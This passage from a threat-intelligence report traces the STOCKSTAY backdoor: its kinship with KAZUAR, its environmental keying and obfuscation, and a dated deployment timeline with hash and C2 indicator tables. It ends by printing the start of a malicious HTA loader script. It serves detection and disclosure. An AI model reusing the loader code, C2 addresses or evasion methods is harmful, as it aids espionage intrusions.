<p><span>Later, in mid-2025, GTIG identified similar malicious RDP files being hosted on a compromised diplomatic-themed education platform, luring victims into downloading and executing the file under the guise of enabling access to an online training portal. GTIG was unable to confirm whether STOCKSTAY was ultimately deployed as a result of this operation; however, overlaps in the actor’s infrastructure and education-themed lures for both operations may suggest STOCKSTAY was the intended payload. </span></p>
<h4><span>Deployments at Multiple Stages of Operations</span></h4>
<p><span>Through GTIG’s visibility, we have identified that the threat actor uses STOCKSTAY at multiple distinct stages of their operations. </span></p>
<p><span>In the first instance, the threat actor uses STOCKSTAY during operations to gain initial access into environments which haven’t yet been subject to the group’s reconnaissance activities. In these instances, STOCKSTAY is configured with hard-coded configuration passwords, which can be trivially extracted by analysts. We observed this type of infection stemming from the group’s phishing operations, where the threat actor is unable to determine exactly where in the victim’s network they are going to gain their initial foothold.</span></p>
<p><span>When the threat actor deploys STOCKSTAY at a later stage of operation, following reconnaissance, STOCKSTAY is configured to incorporate environmental keying for its configuration, requiring the malware to be executed either on a specific host, by a specific user, within a specific domain, or a pre-determined combination of the these attributes. This configuration implies that, at this stage, the actor knows exactly which machine is being targeted, likely through existing accesses to the target environment. This was seen within Ukrainian networks where STOCKSTAY was deployed toward the end of an operation which had previously relied heavily on the group’s other tools, such as KAZUAR. </span></p>
<h3><span>Overlaps with KAZUAR</span></h3>
<h4><span>K1MORPHER String Obfuscation</span></h4>
<p><span>In April 2025, GTIG observed STOCKSTAY being updated to implement a new string obfuscation mechanism, based around an obscure pseudo-random number generation algorithm named “Squirrel3”, which was </span><a href="https://www.gdcvault.com/play/1024365/Math-for-Game-Programmers-Noise" rel="noopener" target="_blank"><span>presented</span></a><span> at Game Developers Conference 2017. </span></p>
<p><span>GTIG later identified versions of STOCKSTAY containing some of their original class-names, which showed the code responsible for runtime string deobfuscation being contained within a class named “K1.Morpher”. Analysis of K1MORPHER shows the ability to perform runtime deobfuscation of a range of datatypes, such as strings, integers, and arrays. </span></p>
<p><span>In June 2025 GTIG noticed K1MORPHER code appearing in samples of KAZUAR. KAZUAR has historically used its own simple but effective code and string obfuscation techniques to evade detection, such as: the insertion of junk code; replacing static constant values with the results of XOR operations; and large quantities of unique character substitution tables. The actor’s use of K1MORPHER within STOCKSTAY appears to be trending toward mimicking KAZUAR’s multi-class obfuscation techniques, where obfuscation is handled by multiple distinct classes, as observed in suspected test builds of STOCKSTAY hosted on a compromised Cypriot website in April 2024.</span></p>
<h4><span>Implant Architecture</span><span> </span></h4>
<p><span>Since at least 2024, KAZUAR has been observed being deployed using a multi-component architecture, whereby C2 communication, task orchestration, and task execution are managed by separate components. Within the KAZUAR ecosystem, these components are referred to as “BRIDGE”, “KERNEL”, and “WORKER”, respectively.</span></p>
<p><span>As of late 2023, GTIG identified a similar separation of responsibilities within the STOCKSTAY ecosystem, with the same responsibilities being separated into distinct components. C2 communication is managed by the component tracked by GTIG as STOCKSTAY.STOCKBROKER, while task orchestration and execution are handled by STOCKSTAY.STOCKMARKET and STOCKSTAY.STOCKTRADER, respectively.</span></p>
<h4><span>Environmental Keying</span></h4>
<p><span>Both KAZUAR and STOCKSTAY ecosystems have been observed using environmental keying to protect themselves from detection and analysis.</span></p>
<p><span>DIAMONDBACK, a dropper often deployed prior to KAZUAR in the execution chain, has made use of a hash of the target’s hostname in decrypting its payload, to prevent divulgence of its intentions outside of the target environment. Later versions of DIAMONDBACK can be configured to incorporate the target’s username and domain name in the hash required to decrypt the payload.</span></p>
<p><span>STOCKSTAY has been observed using the hash of the target’s hostname or domain name during the decryption of its configuration data, preventing disclosure of C2 infrastructure unless operating in the intended environment.</span></p>
<h4><span>Summary of Overlaps</span></h4>
<p><span>GTIG assesses with moderate confidence that STOCKSTAY and KAZUAR may be developed in-part by a common developer or team, with active development occurring in tandem between the two malware ecosystems. We believe that STOCKSTAY is being developed in KAZUAR’s image, with several design decisions likely spawning from the threat actor’s wealth of experience in conducting operations using this long-standing toolkit. Both ecosystems rely heavily on .NET development, and have been observed using compromised WordPress sites during various stages of their operations.</span></p>
<p><span>We assess with low confidence that our observations of STOCKSTAY being deployed alongside KAZUAR during active operations may be a result of the threat actor seeking to test new capabilities in active operations, particularly where they may be expecting their existing access to be remediated in the near future. </span></p>
<h3><span>STOCKSTAY Timeline</span></h3>
<p><span>GTIG has conducted a thorough investigation into the history of STOCKSTAY, identifying suspected development activity as far back as December 2022. What follows is our assessment of the timeline of events surrounding STOCKSTAY’s development and deployment. To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) within each observed operation section, and in a </span><a href="https://www.virustotal.com/gui/collection/ed88a43801b5c58b9be27fa74abaa278a48904f3cc1bc905f2d85e32448b96c5/iocs" rel="noopener" target="_blank"><span>GTI Collection</span></a><span> for registered users.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig5.max-1000x1000.png" alt="Timeline of STOCKSTAY observations">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="qw6cr">Figure 5: Timeline of STOCKSTAY observations</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>December 2022</span></h4>
<p><span>The version of the open-source websocket-sharp.dll bundled with the majority of observed STOCKSTAY.STOCKBROKER samples was last modified, according to timestamp information in MSI files and ZIP archives containing STOCKSTAY. Although built from an open-source library, this specific instance appears to have been compiled by the actor themselves, thus creating a uniquely identifiable artifact with which to track this malware’s continuous development.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>websocket-sharp.dll</code></p>
</td>
<td>
<p><span>Instance of open-source library used by the threat actor</span></p>
</td>
<td>
<p><code>d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 5: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>September 21, 2023: Germany</span></h4>
<p><span>An early version of STOCKSTAY was uploaded to VirusTotal from Germany, under the filename “DriversPrinterGraphic.rar”. From the archive’s timestamps, it appears as though the sample was submitted within 20 minutes of being created, likely indicating this was submitted by the malware’s developer.</span></p>
<p><span>This version predates the malware’s separation into distinct role-based components, instead incorporating all core functionality into a single executable: StockMarketNews.exe. Additionally, this version of STOCKSTAY contained the user interface shown in Figure 6, which enables viewing/editing of configuration options and command messages, while still presenting as a stock market utility.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig6.max-1000x1000.png" alt="Early STOCKSTAY user-interface">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="qw6cr">Figure 6: Early STOCKSTAY user-interface</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>This particular STOCKSTAY sample uses a slightly different configuration file format; however, the underlying configuration options are consistent with later versions. This sample also utilizes environmental keying for its configuration file; using the lower-cased hostname of the intended target as the decryption password. GTIG has been unable to recover the password at this time.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>DriversPrinterGraphic.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY</span></p>
</td>
<td>
<p><code>e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNews.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY combined executable</span></p>
</td>
<td>
<p><code>1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24</code></p>
</td>
</tr>
<tr>
<td>
<p><code>sample.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 6: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>December 5 – 6, 2023: Netherlands</span></h4>
<p><span>A further RAR archive containing STOCKSTAY was submitted to VirusTotal at 2023-12-06 08:52:49 from the Netherlands, under the filename “apps_libwallets_v1.3.rar”. This archive was last modified the previous day at 2023-12-05 16:47:42. This pattern may indicate that the archive was created by the individual at the end of their working day, and then submitted the following day when they returned to the office.</span></p>
<p><span>This instance of STOCKSTAY was the first case observed by GTIG of the malware’s core functionality being separated into distinct role-based components, using the filenames shown in Table 7.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><span>StockMarketView.exe</span></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><span>StockMarketNet.exe</span></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><span>StockMarketSystem.exe</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 7: STOCKSTAY component filenames observed in December 2023</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><p><span>Similar to the sample observed in September 2023, this instance of STOCKSTAY also used environmental keying, however this instance used the target computer’s domain name as the configuration password. GTIG has been unable to recover the password at this time.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>apps_libwallets_v1.3.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b</code></p>
</td>
</tr>
<tr>
<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 8: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>January 2024: Ukraine</span></h4>
<p><span>GTIG conducted a review of an incident response conducted by Mandiant relating to a late-2023 compromise of a Ukrainian organization, in which we observed Turla deploying a wide range of tools into the victim’s network, including WILDDAY, DIAMONDBACK and KAZUAR, via malicious GPO installation from a compromised domain controller. This activity was accompanied by other simple scripts and backdoors to deploy malware across multiple machines in the infected organization. </span></p>
<p><span>During the review, GTIG identified evidence of STOCKSTAY execution on one of the hosts impacted by the infected domain controller. Multiple ZIP archives, each containing one of the core components of STOCKSTAY or its configuration, were uploaded to the domain controller. The files were found in a directory used for staging registry files used to install WILDDAY both prior to and after STOCKSTAY appeared on the host, as well as for staging output from an otherwise unknown Powershell backdoor (iclsClient.ps1) which was also observed running from the domain controller.</span></p>
<p><span>During this operation, an initial STOCKSTAY configuration file was deployed to the domain controller alongside the STOCKSTAY core component executables, however this file was not able to be decrypted using any known passwords or environmental identifiers. A short while later, Mandiant observed a second configuration file being deployed to the domain controller, this time encrypted using the domain name associated with the compromised network. GTIG assesses with moderate confidence that the deployment of the initial configuration file was either a mistake by the threat actor - perhaps deploying a configuration file associated with a different victim - or the result of a default or invalid configuration file being bundled with STOCKSTAY during initial deployment to prevent sensitive C2 details from being captured in the event of early detection of the malware in the victim’s environment.  </span></p>
<p><span>The successfully decrypted configuration defined a STOCKSTAY WebSocket C2 URL of </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. Additionally, the configuration specified an operational time-frame of Monday to Friday between the hours of 0900 and 1800 on the victim's system. This time-based restriction is likely intended to blend C2 communications with normal business operations in the victim's network. This same time-frame has been observed in a majority of STOCKSTAY configuration files analyzed by GTIG.</span></p>
<p><span>Of particular note, toward the end of this operation, Mandiant identified firewall detections relating to one of KAZUAR’s C2 endpoints. GTIG assesses, with low to moderate confidence, that the threat actor could have been aware of the suspicion surrounding its C2 and deployed STOCKSTAY as a failsafe in case KAZUAR was identified and remediated, thus enabling reinfection at a later date, in the event that STOCKSTAY remained undetected.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 9: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>February 2024: Italy</span></h4>
<p><span>An MSI file configured to install STOCKSTAY was uploaded to VirusTotal at 2024-02-20 11:45:26 from Italy, under the filename “Copia.msi”. The MSI masqueraded as the </span><span>ILSpy application developed by ICSharpCodeTeam, and contained a large number of legitimate benign components. The MSI installed the core STOCKSTAY components under </span><code>%LOCALAPPDATA%/Programs/SMN/</code><span>, and enabled persistent execution via registry run keys. </span></p>
<p><span>The STOCKSTAY samples contained in the MSI were compiled between January 29 and January 31, 2024, with the configuration file last being modified on February 13, 2024, just a week before being submitted to VirusTotal.</span></p>
<p><span>In addition to the installation of STOCKSTAY, the MSI file contains a custom MSI action named “OpenUrl”. This action has the sequence number 1 in the InstallUISequence table, indicating it should be executed before any other actions. The custom action is configured to execute the following command:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></pre></div>
<div class="block-paragraph_advanced"><p><span>When viewed, the URL contains references to elections (“elezioni”) and the Italian organization “Circolo Degli Esteri”, which according to their official website (</span><a href="https://www.circoloesteri.it/" rel="noopener" target="_blank"><span>https://www.circoloesteri.it/</span></a><span>), was founded to “represent the Ministry of Foreign Affairs”. We do not currently assess that the actor was directly targeting Italian elections, and was instead using elections-related phishing lures to target victims. Due to limited visibility, we have been unable to identify any earlier stages of this particular operation, and cannot confirm the identity of the intended targets of any potential related phishing campaigns.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%</code></pre></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig7.max-1000x1000.png" alt="Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ugoq7">Figure 7: Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Although inconclusive, this appears to indicate an intention to deploy STOCKSTAY against Italian-speaking individuals or organizations, specifically with a focus on foreign affairs.</span></p>
<p><span>In following with previous STOCKSTAY instances, this sample utilized environmental keying for its configuration file. GTIG was able to recover the domain name used to decrypt the configuration file in order to identify the WebSocket C2 address </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. This matches the C2 address used in January 2024.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>Copia.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a</code></p>
</td>
</tr>
<tr>
<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 10: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></p>
</td>
<td>
<p><span>Italian language lure relating to voting on matters related to the Italian Ministry of Foreign Affairs.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 11: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>March 18 – April 3, 2025: Ukraine</span></h4>
<p><span>On April 2, 2025, GTIG identified a compromised email account sending a phishing email containing a message purporting to originate from a Ukrainian university, relating to the testing of a new distance learning environment. The threat actor attached a malicious Remote Desktop Protocol (RDP) file to the email, which upon opening resulted in a connection being established between the victim and an open RDP port (3389) hosted on the actor-registered domain chosen to imitate the same academic institution. </span></p>
<p><span>Once the victim connected to the actor's infrastructure, GTIG observed the actor deploying STOCKSTAY.MARKETMAKER to the client. STOCKSTAY.MARKETMAKER was configured to download a ZIP containing STOCKSTAY from a legitimate but compromised website belonging to the State Regulatory Service of Ukraine. In contrast to the majority of earlier observations, the configuration file observed during this operation was protected with a hard-coded password. This appears to correspond with this particular operation’s focus on initial access to a victim’s environment via spear-phishing, through which the specific domain or host name may not be known to the threat actor, and thus cannot be used for environmental keying. GTIG was able to identify the malware using the WebSocket C2 URL </span><code>wss://weatherdataai.theworkpc.com/ws</code><span>.</span></p>
<p><span>According to the metadata associated with the ZIP archive downloaded by STOCKSTAY.MARKETMAKER, the core STOCKSTAY components used during this operation were last modified between March 18 – 26, with the configuration file last being modified on March <span>31</span>.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MicrosoftUpdateOneDrive.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER Downloader</span></p>
</td>
<td>
<p><code>da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40</code></p>
</td>
</tr>
<tr>
<td>
<p><code>docs.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMEditor.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 12: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip</code></p>
</td>
<td>
<p><span>Compromised State Regulatory Service of Ukraine infrastructure serving ZIP archive containing STOCKSTAY components</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://weatherdataai.theworkpc.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 13: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 14, 2025: Poland</span></h4>
<p><span>GTIG identified two samples of STOCKSTAY.STOCKBROKER being uploaded to VirusTotal on May </span>14, 2025 from Poland. </p>
<p><span>The first sample, named “ClientMNGR2.exe”, matched previously observed versions, however the second sample, named “GR3.exe”, was heavily obfuscated using large quantities of junk code, and a previously unknown string obfuscation mechanism. GTIG tracks this obfuscation mechanism as K1MORPHER, and we have since observed its inclusion in all core STOCKSTAY components, and within select samples of KAZUAR; increasing our confidence that STOCKSTAY exists within the same development ecosystem as other malware leveraged by Turla.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR2.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43</code></p>
</td>
</tr>
<tr>
<td>
<p><code>GR3.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 14: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 28 – August 8, 2025: Ukraine </span><span>— </span><span>Deployment via Malicious HTA</span></h4>
<p><span>On August 8, 2025, GTIG identified a RAR archive, “calculator.rar”, being submitted to VirusTotal. The archive had been hosted on compromised infrastructure belonging to a Ukrainian IT company since at least July 22, 2025. The archive contained a malicious HTA file named “Калькулятор грошового забезпечення військовослужбовців 2025.hta” (translation: "Military personnel cash benefit calculator 2025.hta"). The HTA was designed to execute a variant of the STOCKSTAY.MARKETMAKER downloader, which was also included in the archive, using the code shown in Figure 9.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig8.max-1000x1000.png" alt="Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="j8j2f">Figure 8: Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;script language="JScript"&gt;
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

